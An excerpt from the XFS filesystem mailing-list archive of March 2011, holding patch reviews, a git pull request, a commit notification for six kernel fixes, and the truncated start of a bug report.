+3744,7 @@ xfs_bmap_add_free( > new = kmem_zone_alloc(xfs_bmap_free_item_zone, KM_SLEEP); > new->xbfi_startblock = bno; > new->xbfi_blockcount = (xfs_extlen_t)len; > + new->xbfi_flags = XFS_BFI_USERDATA; Couldn't you arrange for the the xfs_bmbt_free_block() path to *not* set this? (As it stands, it will always be set.) > for (prev = NULL, cur = flist->xbf_first; > cur != NULL; > prev = cur, cur = cur->xbfi_next) { . . . From aelder@sgi.com Fri Mar 25 16:01:45 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2PL1jef247211 for ; Fri, 25 Mar 2011 16:01:45 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay1.corp.sgi.com (Postfix) with ESMTP id 19D528F804B; Fri, 25 Mar 2011 14:04:53 -0700 (PDT) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Fri, 25 Mar 2011 16:04:52 -0500 Subject: Re: [PATCH 5/6] xfs: add online discard support From: Alex Elder Reply-To: aelder@sgi.com To: Christoph Hellwig Cc: xfs@oss.sgi.com In-Reply-To: <20110322200138.024991786@bombadil.infradead.org> References: <20110322195550.260682574@bombadil.infradead.org> <20110322200138.024991786@bombadil.infradead.org> Content-Type: text/plain; charset="UTF-8" Date: Fri, 25 Mar 2011 16:04:52 -0500 Message-ID: <1301087092.2537.691.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 25 Mar 2011 21:04:53.0020 (UTC) FILETIME=[4941D5C0:01CBEB30] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, 2011-03-22 at 15:55 -0400, Christoph Hellwig wrote: > Now that we have reliably tracking of deleted extents in a transaction > we can easily implement "online" discard support which calls > blkdev_issue_discard once a transaction commits. > > The actual discard is a two stage operation as we first have to mark > the busy extent as not available for reuse before we can start the > actual discard. Note that we don't bother supporting discard for > the non-delaylog mode. While that would be possible with this patch > performance is awfull, and the optimization in the next patch won't > work as easily. > > Signed-off-by: Christoph Hellwig . . . This one looks good overall. How about adding documentation to Documentation/filesystems/xfs.txt to describe the new mount options? (Dave, same goes for you with delaylog. I haven't looked for any other things missing from there.) Reviewed-by: Alex Elder From aelder@sgi.com Fri Mar 25 16:01:48 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2PL1m10247238 for ; Fri, 25 Mar 2011 16:01:48 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4F52530404E; Fri, 25 Mar 2011 14:04:56 -0700 (PDT) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Fri, 25 Mar 2011 16:04:56 -0500 Subject: Re: [PATCH 6/6] xfs: make discard operations asynchronous From: Alex Elder Reply-To: aelder@sgi.com To: Christoph Hellwig Cc: xfs@oss.sgi.com In-Reply-To: <20110322200138.216042448@bombadil.infradead.org> References: <20110322195550.260682574@bombadil.infradead.org> <20110322200138.216042448@bombadil.infradead.org> Content-Type: text/plain; charset="UTF-8" Date: Fri, 25 Mar 2011 16:04:55 -0500 Message-ID: <1301087095.2537.692.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 25 Mar 2011 21:04:56.0239 (UTC) FILETIME=[4B2D03F0:01CBEB30] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, 2011-03-22 at 15:55 -0400, Christoph Hellwig wrote: > Instead of waiting for each discard request keep the CIL context alive > until all of them are done, at which point we can tear it down completly > and remove the busy extents from the rbtree. > > At this point I'm doing the I/O completion from IRQ context for simplicity, > but I'll benchmark it against a version that uses a workqueue. > > Signed-off-by: Christoph Hellwig This looks good. Reviewed-by: Alex Elder . . . From david@fromorbit.com Fri Mar 25 16:59:14 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2PLxErh258368 for ; Fri, 25 Mar 2011 16:59:14 -0500 X-ASG-Debug-ID: 1301090539-10a902870000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail05.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 6AD4D142C14C for ; Fri, 25 Mar 2011 15:02:20 -0700 (PDT) Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id JSrg40DHRS8hO1M2 for ; Fri, 25 Mar 2011 15:02:20 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsEADoQjU15LK5JgWdsb2JhbAClXxYBFiYlw2ENhVwE Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Mar 2011 08:32:18 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q3F5E-0004aM-VI; Sat, 26 Mar 2011 09:02:17 +1100 Date: Sat, 26 Mar 2011 09:02:16 +1100 From: Dave Chinner To: Alex Elder Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 1/6] xfs: preallocation transactions do not need to be synchronous Subject: Re: [PATCH 1/6] xfs: preallocation transactions do not need to be synchronous Message-ID: <20110325220216.GN26611@dastard> References: <1300860870-15471-1-git-send-email-david@fromorbit.com> <1300860870-15471-2-git-send-email-david@fromorbit.com> <1301086836.2537.679.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1301086836.2537.679.camel@doink> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1301090541 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58963 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 25, 2011 at 04:00:36PM -0500, Alex Elder wrote: > On Wed, 2011-03-23 at 17:14 +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > Preallocation and hole punch transactions are currently synchronous > > and this is causing performance problems in some cases. The > > transactions don't need to be synchronous as we don't need to > > guarantee the preallocation is persistent on disk until a > > fdatasync, fsync, sync operation occurs. If the file is opened > > O_SYNC or O_DATASYNC, only then should the transaction be issued > > synchronously. > > There's a minor (but important) bug in this. Other than that > this looks good. > > Reviewed-by: Alex Elder Already fixed and reposted. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Mar 25 17:01:44 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2PM1iTp258583 for ; Fri, 25 Mar 2011 17:01:44 -0500 X-ASG-Debug-ID: 1301090690-477300090000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail05.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id CDF7137D4D4 for ; Fri, 25 Mar 2011 15:04:50 -0700 (PDT) Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id qDLeBBsXv4RajUqv for ; Fri, 25 Mar 2011 15:04:50 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsEADoQjU15LK5JgWdsb2JhbAClXxYBFiYliE27FA2FXAQ Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Mar 2011 08:34:49 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q3F7g-0004aX-Tz; Sat, 26 Mar 2011 09:04:48 +1100 Date: Sat, 26 Mar 2011 09:04:48 +1100 From: Dave Chinner To: Alex Elder Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 6/6] xfs: stop using the page cache to back the buffer cache Subject: Re: [PATCH 6/6] xfs: stop using the page cache to back the buffer cache Message-ID: <20110325220448.GO26611@dastard> References: <1300860870-15471-1-git-send-email-david@fromorbit.com> <1300860870-15471-7-git-send-email-david@fromorbit.com> <1301086973.2537.686.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1301086973.2537.686.camel@doink> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1301090691 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58963 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 25, 2011 at 04:02:53PM -0500, Alex Elder wrote: > On Wed, 2011-03-23 at 17:14 +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > Now that the buffer cache has it's own LRU, we do not need to use > > the page cache to provide persistent caching and reclaim > > infrastructure. Convert the buffer cache to use alloc_pages() > > instead of the page cache. This will remove all the overhead of page > > cache management from setup and teardown of the buffers, as well as > > needing to mark pages accessed as we find buffers in the buffer > > cache. > > > > By avoiding the page cache, we also remove the need to keep state in > > the page_private(page) field for persistant storage across buffer > > free/buffer rebuild and so all that code can be removed. This also > > fixes the long-standing problem of not having enough bits in the > > page_private field to track all the state needed for a 512 > > sector/64k page setup. > > > > It also removes the need for page locking during reads as the pages > > are unique to the buffer and nobody else will be attempting to > > access them. > > > > Finally, it removes the buftarg address space lock as a point of > > global contention on workloads that allocate and free buffers > > quickly such as when creating or removing large numbers of inodes in > > parallel. This remove the 16TB limit on filesystem size on 32 bit > > machines as the page index (32 bit) is no longer used for lookups > > of metadata buffers - the buffer cache is now solely indexed by disk > > address which is stored in a 64 bit field in the buffer. > > > > Signed-off-by: Dave Chinner > > This is really a great change, a long time coming. > > I have two comments below, one of which I think is > a real (but simple) problem. Yup, i'll fix them. > I've been using this series all week without problems. > This patch cleans things up so nicely I *would* like > to include it in 2.6.39 if you can update it and turn > it around with a pull request for me. Ok, I'll update the series, prep a brach, run a quick sanity check and send a pull req. > > If so, I'll do some sanity testing and push it to > oss.sgi.com, then send a pull request to Linus with > it early next week. > > Reviewed-by: Alex Elder > > PS I'm sorry it took so long to get back to you on > this stuff. I've had a hard time getting my brain > re-engaged this week after coming back from vacation > for some reason... No problems, I knew you were away for a while... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Mar 25 17:34:14 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2PMYEmf260088 for ; Fri, 25 Mar 2011 17:34:14 -0500 X-ASG-Debug-ID: 1301092640-1c31021e0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail05.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id D1E8837D686 for ; Fri, 25 Mar 2011 15:37:20 -0700 (PDT) Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id TsYP3YJfeOcsdXeR for ; Fri, 25 Mar 2011 15:37:20 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvoHAE8XjU15LK5JgWdsb2JhbACYYYx9FgEWJiXDUw2FXAQ Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Mar 2011 09:07:20 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q3Fd8-0004eN-Ls for xfs@oss.sgi.com; Sat, 26 Mar 2011 09:37:18 +1100 Date: Sat, 26 Mar 2011 09:37:18 +1100 From: Dave Chinner To: xfs@oss.sgi.com X-ASG-Orig-Subj: [GIT PULL] xfs: more fixes for 2.6.39 Subject: [GIT PULL] xfs: more fixes for 2.6.39 Message-ID: <20110325223718.GP26611@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1301092641 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58965 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Hi Alex, Here is the latest round of commits for 2.6.39 rady for you to pull. It's based on the current xfs-oss master branch. Cheers, Dave. The following changes since commit 0c9ba97318fc9a905bcc1419b6966de061203a70: xfs: don't name variables "panic" (2011-03-11 16:34:51 -0600) are available in the git repository at: git://git.kernel.org/pub/scm/linux/kernel/git/dgc/xfsdev.git xfs-for-2.6.39 Dave Chinner (6): xfs: preallocation transactions do not need to be synchronous vmap: flush vmap aliases when mapping fails xfs: introduce inode cluster buffer trylocks for xfs_iflush xfs: xfs_trans_read_buf() should return an error on failure xfs: register the inode cache shrinker before quotachecks xfs: stop using the page cache to back the buffer cache fs/xfs/linux-2.6/xfs_buf.c | 355 +++++++++++------------------------------- fs/xfs/linux-2.6/xfs_buf.h | 40 +----- fs/xfs/linux-2.6/xfs_file.c | 6 +- fs/xfs/linux-2.6/xfs_ioctl.c | 4 + fs/xfs/linux-2.6/xfs_super.c | 36 +++-- fs/xfs/linux-2.6/xfs_sync.c | 30 ++++- fs/xfs/xfs_inode.c | 2 +- fs/xfs/xfs_inode_item.c | 6 +- fs/xfs/xfs_trans_buf.c | 3 +- fs/xfs/xfs_vnodeops.c | 3 +- fs/xfs/xfs_vnodeops.h | 1 + 11 files changed, 165 insertions(+), 321 deletions(-) -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Mar 25 18:05:05 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2PN54Js261470 for ; Fri, 25 Mar 2011 18:05:05 -0500 X-ASG-Debug-ID: 1301094487-0d77018b0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail05.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 140CF15A2D5B for ; Fri, 25 Mar 2011 16:08:07 -0700 (PDT) Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id odO1lC6hww8kwFE0 for ; Fri, 25 Mar 2011 16:08:07 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsEAE4ejU15LK5JgWdsb2JhbAClXxYBFiYlw0INgnOCaQQ Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Mar 2011 09:38:06 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q3G6v-0004iD-SL; Sat, 26 Mar 2011 10:08:05 +1100 Date: Sat, 26 Mar 2011 10:08:05 +1100 From: Dave Chinner To: Michael Weissenbacher Cc: Arkadiusz Miskiewicz , aelder@sgi.com, xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 5/6] xfs: register the inode cache shrinker before quotachecks Subject: Re: [PATCH 5/6] xfs: register the inode cache shrinker before quotachecks Message-ID: <20110325230805.GS26611@dastard> References: <1300860870-15471-1-git-send-email-david@fromorbit.com> <1300860870-15471-6-git-send-email-david@fromorbit.com> <201103232224.03501.arekm@maven.pl> <4D8C90F6.7050500@dermichi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4D8C90F6.7050500@dermichi.com> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1301094489 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0209 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58968 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 25, 2011 at 01:56:22PM +0100, Michael Weissenbacher wrote: > > From: Arkadiusz Miskiewicz > > On Wednesday 23 of March 2011, Dave Chinner wrote: > >> From: Dave Chinner > > > > Thanks a lot for this patch. I was able to mount my two ~800GB filesystems > > with quota enabled without out of memory/machine reboot suprises (which were > > happening without this patch every time I tried mount with quota). > Seconded, this also solved my long-standing problems with a Quota mounts > on some 32-bit i686 and low-mem x64 machines. > > I tested the patch with Kernel 2.6.38.1-i686 on a ~500GB fs which > refused to mount with quotas for some time now. > > Is there any chance that this patch will be integrated/backparted to > older kernels like 2.6.32.x, 2.6.35.x? The patch will be committed with a CC to stable@kernel.org, so that should happen magically once this is in mainline. Cheers, Dave. -- Dave Chinner david@fromorbit.com From aelder@oss.sgi.com Fri Mar 25 22:45:51 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2Q3jpq3014741 for ; Fri, 25 Mar 2011 22:45:51 -0500 Received: (from aelder@localhost) by oss.sgi.com (8.14.3/8.14.3/Submit) id p2Q3jjqQ014683; Fri, 25 Mar 2011 22:45:45 -0500 Date: Fri, 25 Mar 2011 22:45:45 -0500 Message-Id: <201103260345.p2Q3jjqQ014683@oss.sgi.com> From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. v2.6.37-rc4-9207-g0e6e847 X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: 0c9ba97318fc9a905bcc1419b6966de061203a70 X-Git-Newrev: 0e6e847ffe37436e331c132639f9f872febce82e This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated 0e6e847 xfs: stop using the page cache to back the buffer cache 704b290 xfs: register the inode cache shrinker before quotachecks 7401aaf xfs: xfs_trans_read_buf() should return an error on failure 1bfd8d0 xfs: introduce inode cluster buffer trylocks for xfs_iflush a19fb38 vmap: flush vmap aliases when mapping fails 8287889 xfs: preallocation transactions do not need to be synchronous from 0c9ba97318fc9a905bcc1419b6966de061203a70 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 0e6e847ffe37436e331c132639f9f872febce82e Author: Dave Chinner Date: Sat Mar 26 09:16:45 2011 +1100 xfs: stop using the page cache to back the buffer cache Now that the buffer cache has it's own LRU, we do not need to use the page cache to provide persistent caching and reclaim infrastructure. Convert the buffer cache to use alloc_pages() instead of the page cache. This will remove all the overhead of page cache management from setup and teardown of the buffers, as well as needing to mark pages accessed as we find buffers in the buffer cache. By avoiding the page cache, we also remove the need to keep state in the page_private(page) field for persistant storage across buffer free/buffer rebuild and so all that code can be removed. This also fixes the long-standing problem of not having enough bits in the page_private field to track all the state needed for a 512 sector/64k page setup. It also removes the need for page locking during reads as the pages are unique to the buffer and nobody else will be attempting to access them. Finally, it removes the buftarg address space lock as a point of global contention on workloads that allocate and free buffers quickly such as when creating or removing large numbers of inodes in parallel. This remove the 16TB limit on filesystem size on 32 bit machines as the page index (32 bit) is no longer used for lookups of metadata buffers - the buffer cache is now solely indexed by disk address which is stored in a 64 bit field in the buffer. Signed-off-by: Dave Chinner Reviewed-by: Alex Elder commit 704b2907c2d47ceb187c0e25a6bbc2174b198f2f Author: Dave Chinner Date: Sat Mar 26 09:14:57 2011 +1100 xfs: register the inode cache shrinker before quotachecks During mount, we can do a quotacheck that involves a bulkstat pass on all inodes. If there are more inodes in the filesystem than can be held in memory, we require the inode cache shrinker to run to ensure that we don't run out of memory. Unfortunately, the inode cache shrinker is not registered until we get to the end of the superblock setup process, which is after a quotacheck is run if it is needed. Hence we need to register the inode cache shrinker earlier in the mount process so that we don't OOM during mount. This requires that we also initialise the syncd work before we register the shrinker, so we nee dto juggle that around as well. While there, make sure that we have set up the block sizes in the VFS superblock correctly before the quotacheck is run so that any inodes that are cached as a result of the quotacheck have their block size fields set up correctly. Cc: stable@kernel.org Signed-off-by: Dave Chinner Reviewed-by: Alex Elder commit 7401aafd5019d32a888e5f27332cf580945574bf Author: Dave Chinner Date: Sat Mar 26 09:14:44 2011 +1100 xfs: xfs_trans_read_buf() should return an error on failure When inside a transaction and we fail to read a buffer, xfs_trans_read_buf returns a null buffer pointer and no error. xfs_do_da_buf() checks the error return, but not the buffer, and as a result this read failure condition causes a panic when it attempts to dereference the non-existant buffer. Make xfs_trans_read_buf() return the same error for this situation regardless of whether it is in a transaction or not. This means every caller does not need to check both the error return and the buffer before proceeding to use the buffer. Signed-off-by: Dave Chinner Reviewed-by: Alex Elder commit 1bfd8d04190c615bb8d1d98188dead0c09702208 Author: Dave Chinner Date: Sat Mar 26 09:13:55 2011 +1100 xfs: introduce inode cluster buffer trylocks for xfs_iflush There is an ABBA deadlock between synchronous inode flushing in xfs_reclaim_inode and xfs_icluster_free. xfs_icluster_free locks the buffer, then takes inode ilocks, whilst synchronous reclaim takes the ilock followed by the buffer lock in xfs_iflush(). To avoid this deadlock, separate the inode cluster buffer locking semantics from the synchronous inode flush semantics, allowing callers to attempt to lock the buffer but still issue synchronous IO if it can get the buffer. This requires xfs_iflush() calls that currently use non-blocking semantics to pass SYNC_TRYLOCK rather than 0 as the flags parameter. This allows xfs_reclaim_inode to avoid the deadlock on the buffer lock and detect the failure so that it can drop the inode ilock and restart the reclaim attempt on the inode. This allows xfs_ifree_cluster to obtain the inode lock, mark the inode stale and release it and hence defuse the deadlock situation. It also has the pleasant side effect of avoiding IO in xfs_reclaim_inode when it tries to next reclaim the inode as it is now marked stale. Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Reviewed-by: Alex Elder commit a19fb380961f209a3a406443686647bcd01bb9a6 Author: Dave Chinner Date: Sat Mar 26 09:13:42 2011 +1100 vmap: flush vmap aliases when mapping fails On 32 bit systems, vmalloc space is limited and XFS can chew through it quickly as the vmalloc space is lazily freed. This can result in failure to map buffers, even when there is apparently large amounts of vmalloc space available. Hence, if we fail to map a buffer, purge the aliases that have not yet been freed to hopefuly free up enough vmalloc space to allow a retry to succeed. Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Reviewed-by: Alex Elder commit 8287889742940cf3c416e755322090d09f2829be Author: Dave Chinner Date: Sat Mar 26 09:13:08 2011 +1100 xfs: preallocation transactions do not need to be synchronous Preallocation and hole punch transactions are currently synchronous and this is causing performance problems in some cases. The transactions don't need to be synchronous as we don't need to guarantee the preallocation is persistent on disk until a fdatasync, fsync, sync operation occurs. If the file is opened O_SYNC or O_DATASYNC, only then should the transaction be issued synchronously. Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Reviewed-by: Alex Elder ----------------------------------------------------------------------- Summary of changes: fs/xfs/linux-2.6/xfs_buf.c | 355 +++++++++++------------------------------- fs/xfs/linux-2.6/xfs_buf.h | 40 +----- fs/xfs/linux-2.6/xfs_file.c | 6 +- fs/xfs/linux-2.6/xfs_ioctl.c | 4 + fs/xfs/linux-2.6/xfs_super.c | 36 +++-- fs/xfs/linux-2.6/xfs_sync.c | 30 ++++- fs/xfs/xfs_inode.c | 2 +- fs/xfs/xfs_inode_item.c | 6 +- fs/xfs/xfs_trans_buf.c | 3 +- fs/xfs/xfs_vnodeops.c | 3 +- fs/xfs/xfs_vnodeops.h | 1 + 11 files changed, 165 insertions(+), 321 deletions(-) hooks/post-receive -- XFS development tree From jpiszcz@lucidpixels.com Sat Mar 26 08:26:30 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2QDQUt3052106 for ; Sat, 26 Mar 2011 08:26:30 -0500 X-ASG-Debug-ID: 1301146176-1557023d0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from lucidpixels.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id 741A11DF6940 for ; Sat, 26 Mar 2011 06:29:36 -0700 (PDT) Received: from lucidpixels.com (lucidpixels.com [75.144.35.66]) by cuda.sgi.com with SMTP id BzE09E3V6KQwOX0Z for ; Sat, 26 Mar 2011 06:29:36 -0700 (PDT) Received: by lucidpixels.com (Postfix, from userid 1001) id 4F8AA1202BD; Sat, 26 Mar 2011 09:29:36 -0400 (EDT) Date: Sat, 26 Mar 2011 09:29:36 -0400 (EDT) From: Justin Piszcz To: linux-kernel@vger.kernel.org, xfs@oss.sgi.com X-ASG-Orig-Subj: 2.6.38.1: CPU#0 stuck for 67s! / xfs_ail_splice Subject: 2.6.38.1: CPU#0 stuck for 67s! / xfs_ail_splice Message-ID: User-Agent: Alpine 2.02 (DEB 1266 2009-07-14) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; format=flowed; charset=US-ASCII X-Barracuda-Connect: lucidpixels.com[75.144.35.66] X-Barracuda-Start-Time: 1301146177 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.52 X-Barracuda-Spam-Status: No, SCORE=-1.52 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 